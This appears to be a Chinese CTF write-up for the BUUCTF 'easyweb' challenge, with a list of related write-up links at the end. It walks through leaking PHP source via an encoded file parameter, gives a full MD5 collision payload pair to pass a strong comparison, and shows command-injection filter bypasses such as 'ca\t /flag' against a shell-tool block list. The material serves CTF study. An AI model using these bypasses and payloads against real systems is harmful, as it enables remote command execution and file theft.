打开网址

观察img后面的一串字符串,有点像base64编码,解码后看看

解码后还是base64,再次解码得到3535352e706e67

这个数是十六进制,转换成字符串555.png

利用这个原理,先将index.php16进制编码,然后进行两次base64编码

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,传参看看

将img里面的进行base64解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

对下面的代码进行代码审计

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {     echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {    //a和b的内容不一样但是需要md5值一样echo `$cmd`;          //将cmd当成系统命令执行并输出} else {echo ("md5 is funny ~");}
}

这里的MD5得使用强绕过,不能使用数组绕过,因为这里使用了String强转换,数组都被强制转换为了string(5) “Array”

!= 比较时,若类型不同,会偿试转换类型;

!== 只有相同类型才会比较。

强比较

if($_POST['a']!==$_POST['b']&& md5($_POST['a'])===md5($_POST['b']))

die("success!");}

像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过

强碰撞:

if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
 
die("success!");
 
}

到强碰撞这里,它用string强行转换成字符串,从而限制了数组绕过这方法,只能输入字符串

所以我们要让两字符串相同且md5值相同即可

使用payload:

a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

$(cmd)和`cmd`的作用是相同的,在执行一条命令时,会先将其中的 ``,或者是$() 中的语句当作命令执行一遍,再将结果加入到原命令中重新执行,例如:
echo `ls`
会先执行 ls 得到xx.sh等,再替换原命令为:
echo xx.sh

因为ls被过滤了,所以用dir

查看根目录,令cmd=dir%20/

 过滤了cat,利用sort%20/flag,或者使用

ca\t%20/flag

ca\t 后面的\t会成为 TAB 而绕过

得到flag

buuctf easyweb相关推荐

  1. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  2. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  3. CTF训练计划—[CISCN2019]Easyweb

    前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...

  4. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  5. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  6. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  7. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  8. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  9. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  10. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

最新文章

  1. C#中MySQL语句带参数的模糊匹配问题
  2. PHP—文件与目录操作
  3. JAVA WEB开发实战-张晨光-专题视频课程
  4. 前端开发学习笔记(一)深入浅出Javascript
  5. oracle乱码函数,jfinal oracle操作时decode函数填值乱码 求助什么原因????
  6. 加州理工学院对高超声速飞行的早期研究
  7. 崛起于Springboot2.X之redis集群搭建(17)
  8. 【方案分享】2020娜扎X薇娅SKG娜小古直播方案.pdf(附下载链接)
  9. 前端基础-html 介绍和head标签 ( 1 )
  10. python 时分秒相加大于24h_在python中,将24小时加到负时间差上
  11. java agentlib 作用_javaagent 简介
  12. Unity3D 制作绿草地,草坪,模型表面生成草地,草地效果Shader实现 草着色器 Brute Force - Grass Shader
  13. FPS综述:植物次生代谢物与微生物组互作研究进展
  14. youtube-dl 环境搭建 使用
  15. LVM 的自定义报告(pvs vgs lvs各参数详解)
  16. 伦敦金实时行情今日变化多少?
  17. ubuntu18.04安装中中文输入法
  18. web快速入门之基础篇-js:3_3、简易购物车
  19. C++我记得应该是当初笔试面试常考的
  20. windows下的host文件在哪里,有什么作用?

热门文章

  1. 封装继承多态还是封装抽象继承多态
  2. Spring boot 项目中dcm文件转jpg文件
  3. 用Excel进行数据分析练习(一)
  4. 混合储能系统能量管理simulink仿真模型。 蓄电池和超级电容构成的混合储能系统能量管理控制策略
  5. MaxScript脚本
  6. 使用最小二乘法计算多元线性回归的公式推导
  7. 生信常用分析图形绘制02 -- 解锁火山图真谛!
  8. python计算iv值_大数据技术 python计算IV值及使用
  9. 手机最好的html5浏览器,哪款浏览器最好用:六款主流手机浏览器横评
  10. HTML5如何实现网页消息通知提醒